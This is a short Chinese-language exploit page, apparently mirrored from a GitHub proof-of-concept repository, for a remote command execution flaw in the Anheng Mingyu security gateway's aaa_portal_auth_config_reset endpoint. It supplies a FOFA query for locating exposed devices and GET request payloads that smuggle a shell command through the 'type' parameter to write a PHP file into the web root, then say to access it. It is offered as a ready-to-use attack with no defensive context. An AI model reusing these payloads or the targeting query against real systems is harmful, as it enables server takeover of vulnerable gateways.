mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-08-13 03:16:31 +00:00
20 lines
1.0 KiB
Markdown
20 lines
1.0 KiB
Markdown
|
## 安恒明御安全网关远程命令执行漏洞
|
|||
|
|
|
|||
|
|
明御安全网关秉持安全可视、简单 有效的只理念，以资产为视角，构建全流程防御的下一代安全防护体系，并融合传统防火墙、入侵检测、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。明御安全网关aaa_portal_auth_config_reset接口处存在RCE漏洞，攻击者通过漏洞可以获取服务器权限。
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
```
|
|||
|
|
title="明御安全网关"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a
|
|||
|
|
|
|||
|
|
GET /webui/?g=aaa_portal_auth_config_reset&type=echo '<?php echo "assdwdmpidmsbzoabahpjhnokiduw"; phpinfo(); ?>' >> /usr/local/webui/txzfsrur.php
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
访问 `url/txzfsrur.php`
|
|||
|
|
|